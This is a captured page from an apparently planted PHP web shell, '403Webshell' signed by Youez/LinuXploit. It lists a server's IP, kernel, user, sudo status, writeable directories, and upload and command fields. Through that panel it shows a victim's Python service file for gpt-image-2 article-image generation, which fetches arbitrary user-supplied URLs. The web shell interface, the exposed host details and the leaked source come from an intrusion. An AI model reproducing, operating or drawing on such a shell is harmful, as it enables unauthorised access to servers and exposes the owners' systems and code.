403Webshell
Server IP : 3.147.158.171  /  Your IP : 216.73.216.216
Web Server : Apache/2.4.67 (Amazon Linux) OpenSSL/3.5.5
System : Linux ip-172-31-2-178.us-east-2.compute.internal 6.1.172-216.329.amzn2023.x86_64 #1 SMP PREEMPT_DYNAMIC Wed May 20 06:31:34 UTC 2026 x86_64
User : ec2-user ( 1000)
PHP Version : 8.4.21
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /tsai/repo/api/app/services/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /tsai/repo/api/app/services/image_v2.py
"""Service for gpt-image-2 generation via the Responses API image_generation tool.

See api/scripts/gpt_image_2_findings.md for the empirical surface.
"""

import base64
import logging
import os
from typing import Any, AsyncGenerator, Optional

import requests
from fastapi import HTTPException

from app.appTypes import (
    GptImage2Request,
    GptImageQuality,
    GptImageSize,
    SiteConfig,
)
from app.clients import async_openai_client
from app.services.image import ImageService, get_default_image_format
from app.services import usage_history
from app.utilities.path_utils import PathUtils

_image_service = ImageService()

path_utils = PathUtils()


_MIME_MAP = {
    'png': 'image/png',
    'jpeg': 'image/jpeg',
    'jpg': 'image/jpeg',
    'webp': 'image/webp',
}


def _enum_value(v: Any) -> Any:
    return v.value if hasattr(v, 'value') else v


def resolve_output_format(req: GptImage2Request) -> str:
    """Resolve output format. Forces png when transparent background is requested."""
    fmt = _enum_value(req.output_format) if req.output_format else get_default_image_format()
    if _enum_value(req.background) == 'transparent' and fmt != 'png':
        fmt = 'png'
    return fmt


def validate_request(req: GptImage2Request) -> None:
    """Validate combinations the OpenAI API would reject anyway, but cheaper to fail early."""
    if req.partial_images is not None:
        if req.partial_images < 1 or req.partial_images > 3:
            raise HTTPException(400, 'partial_images must be between 1 and 3')
        if not req.stream:
            raise HTTPException(400, 'partial_images requires stream=true')
    if _enum_value(req.background) == 'transparent':
        fmt = _enum_value(req.output_format) if req.output_format else get_default_image_format()
        if fmt and fmt != 'png':
            raise HTTPException(400, 'background=transparent requires output_format=png')


def _resolve_input_image_to_bytes(img_data: str) -> tuple[bytes, str]:
    """Accept a base64 string, a Drupal URL, or any other http(s) URL; return (bytes, mime_type).

    Drupal-hosted URLs are read from local disk via path_utils. Other http(s) URLs
    (e.g. WordPress media URLs for series-reference images) are fetched over HTTP.
    """
    if img_data.startswith(('http://', 'https://')):
        drupal_host = os.environ.get('DRUPAL_HOST', '')
        drupal_base = path_utils.get_drupal_base_dir()
        if drupal_host and drupal_base and img_data.startswith(drupal_host):
            relative_path = img_data[len(drupal_host):]
            file_path = drupal_base + relative_path
            ext = os.path.splitext(file_path)[1].lstrip('.').lower()
            mime = _MIME_MAP.get(ext, 'image/png')
            with open(file_path, 'rb') as f:
                return f.read(), mime
        resp = requests.get(img_data, timeout=15)
        resp.raise_for_status()
        ext = os.path.splitext(img_data.split('?', 1)[0])[1].lstrip('.').lower()
        mime = _MIME_MAP.get(ext) or resp.headers.get('Content-Type', 'image/png').split(';', 1)[0].strip()
        return resp.content, mime
    return base64.b64decode(img_data), 'image/png'


def _build_input_images_content(input_images: list[str]) -> list[dict[str, Any]]:
    """Build input_image content parts for a Responses API multimodal user message.

    A reference image that fails to resolve is logged and skipped, not fatal —
    missing visual continuity should not block article generation.
    """
    parts: list[dict[str, Any]] = []
    for raw in input_images:
        try:
            img_bytes, mime = _resolve_input_image_to_bytes(raw)
        except Exception as e:
            preview = raw[:80] + ('…' if len(raw) > 80 else '')
            logging.warning(f'[gpt-image-2] skipping input image (resolve failed): {type(e).__name__}: {e} — {preview}')
            continue
        b64 = base64.b64encode(img_bytes).decode('ascii')
        parts.append({
            'type': 'input_image',
            'image_url': f'data:{mime};base64,{b64}',
        })
    return parts


def build_tool_options(req: GptImage2Request) -> dict[str, Any]:
    """Map a GptImage2Request into the image_generation tool's accepted options."""
    tool: dict[str, Any] = {'type': 'image_generation'}
    size = _enum_value(req.size)
    if size:
        tool['size'] = size
    quality = _enum_value(req.quality)
    if quality:
        tool['quality'] = quality
    fmt = resolve_output_format(req)
    if fmt:
        tool['output_format'] = fmt
    bg = _enum_value(req.background)
    if bg:
        tool['background'] = bg
    fidelity = _enum_value(req.input_fidelity)
    if fidelity:
        tool['input_fidelity'] = fidelity
    if req.partial_images is not None:
        tool['partial_images'] = req.partial_images
    return tool


def build_responses_kwargs(req: GptImage2Request) -> dict[str, Any]:
    """Build kwargs for async_openai_client.responses.create()."""
    tool = build_tool_options(req)
    kwargs: dict[str, Any] = {
        'model': req.driver_model,
        'tools': [tool],
    }

    if req.input_images and len(req.input_images) > 0:
        content: list[dict[str, Any]] = [{'type': 'input_text', 'text': req.prompt}]
        content.extend(_build_input_images_content(req.input_images))
        kwargs['input'] = [{'role': 'user', 'content': content}]
    else:
        kwargs['input'] = req.prompt

    if req.previous_response_id:
        kwargs['previous_response_id'] = req.previous_response_id

    return kwargs


def extract_final_image_b64(response: Any) -> Optional[str]:
    """Pull the final image bytes (base64) out of a non-streamed Responses result."""
    output = getattr(response, 'output', None) or []
    for item in output:
        if getattr(item, 'type', None) == 'image_generation_call':
            result = getattr(item, 'result', None)
            if isinstance(result, str):
                return result
    return None


def _summarize_response_for_log(response: Any) -> str:
    """Compact diagnostic summary used when image extraction fails.

    Captures response.id/status, per-output-item type/status/error, and any
    text content from message items (the driver model's refusal lives there).
    """
    try:
        parts: list[str] = []
        parts.append(f"id={getattr(response, 'id', None)}")
        parts.append(f"status={getattr(response, 'status', None)}")
        err = getattr(response, 'error', None)
        if err is not None:
            parts.append(f"error={err!r}")
        output = getattr(response, 'output', None) or []
        item_summaries: list[str] = []
        for item in output:
            attrs: dict[str, Any] = {'type': getattr(item, 'type', None)}
            for a in ('status', 'id', 'name'):
                if hasattr(item, a):
                    attrs[a] = getattr(item, a)
            item_err = getattr(item, 'error', None)
            if item_err is not None:
                attrs['error'] = repr(item_err)[:300]
            content = getattr(item, 'content', None)
            if isinstance(content, list):
                texts: list[str] = []
                for c in content:
                    text = getattr(c, 'text', None) or (c.get('text') if isinstance(c, dict) else None)
                    if isinstance(text, str):
                        texts.append(text)
                if texts:
                    attrs['text'] = (' | '.join(texts))[:500]
            result = getattr(item, 'result', None)
            if isinstance(result, str):
                attrs['result_b64_len'] = len(result)
            elif result is not None:
                attrs['result_repr'] = repr(result)[:200]
            item_summaries.append(repr(attrs))
        parts.append('output=[' + ', '.join(item_summaries) + ']')
        return ' '.join(parts)
    except Exception as e:
        return f'[summary failed: {type(e).__name__}: {e}]'


async def stream_events(req: GptImage2Request) -> AsyncGenerator[dict[str, Any], None]:
    """Stream events from the Responses API and yield normalized records.

    Yielded shapes:
      {'kind': 'partial', 'index': int, 'b64': str}
      {'kind': 'final',   'b64': str}
      {'kind': 'error',   'message': str}
    """
    kwargs = build_responses_kwargs(req)
    kwargs['stream'] = True
    logging.info(f'[gpt-image-2] streaming responses.create kwargs keys: {list(kwargs.keys())}, tool: {kwargs["tools"][0]}')

    final_emitted = False
    try:
        stream = await async_openai_client.responses.create(**kwargs)
        async for event in stream:
            evt_type = getattr(event, 'type', '') or ''

            if 'partial_image' in evt_type:
                b64 = getattr(event, 'b64_json', None) or getattr(event, 'partial_image_b64', None)
                idx = getattr(event, 'partial_image_index', 0) or 0
                if isinstance(b64, str):
                    yield {'kind': 'partial', 'index': int(idx), 'b64': b64}
                continue

            if evt_type.endswith('completed') or evt_type == 'response.completed':
                response = getattr(event, 'response', None)
                if response is not None:
                    b64 = extract_final_image_b64(response)
                    if b64:
                        yield {'kind': 'final', 'b64': b64}
                        final_emitted = True
                        break
                    logging.error(
                        f'[gpt-image-2] no image in streamed response: {_summarize_response_for_log(response)}'
                    )

        if not final_emitted:
            yield {'kind': 'error', 'message': 'No image data received from Responses API'}
    except Exception as e:
        logging.error(f'[gpt-image-2] streaming error: {e}', exc_info=True)
        yield {'kind': 'error', 'message': str(e)}


async def generate_once(req: GptImage2Request) -> str:
    """Non-streaming generation. Returns the b64-encoded image."""
    kwargs = build_responses_kwargs(req)
    response = await async_openai_client.responses.create(**kwargs)
    b64 = extract_final_image_b64(response)
    if not b64:
        logging.error(
            f'[gpt-image-2] no image in response: {_summarize_response_for_log(response)}'
        )
        raise HTTPException(500, 'No image data received from Responses API')
    return b64


async def create_image_for_article(
    prompt: str,
    site: SiteConfig,
    input_images: Optional[list[str]] = None,
    size: GptImageSize = GptImageSize._1536x1024,
    quality: GptImageQuality = GptImageQuality.medium,
    driver_model: str = "gpt-5",
) -> tuple[str, str]:
    """Generate an article image via gpt-image-2 and persist it.

    Returns (url, base64). Mirrors the v1 ImageService.create_image contract so
    callers (wp_service) only see a different module name.
    """
    logging.info(
        f'[gpt-image-2] article image: driver={driver_model} size={_enum_value(size)} '
        f'quality={_enum_value(quality)} input_images={len(input_images) if input_images else 0}'
    )
    req = GptImage2Request(
        prompt=prompt,
        user='article-creation',
        driver_model=driver_model,
        stream=False,
        size=size,
        quality=quality,
        input_images=input_images,
    )
    b64 = await generate_once(req)
    usage_history.record_image(
        model='gpt-image-2',
        size=_enum_value(size),
        quality=_enum_value(quality),
        operation='article_image',
        b64=b64,
        site_slug=site.slug,
    )
    fmt = resolve_output_format(req)
    urls = _image_service.save_b64_and_get_url(b64, site, fmt)
    if not urls:
        raise HTTPException(500, 'Failed to persist gpt-image-2 result')
    return urls[0], b64

Youez - 2016 - github.com/yon3zu
LinuXploit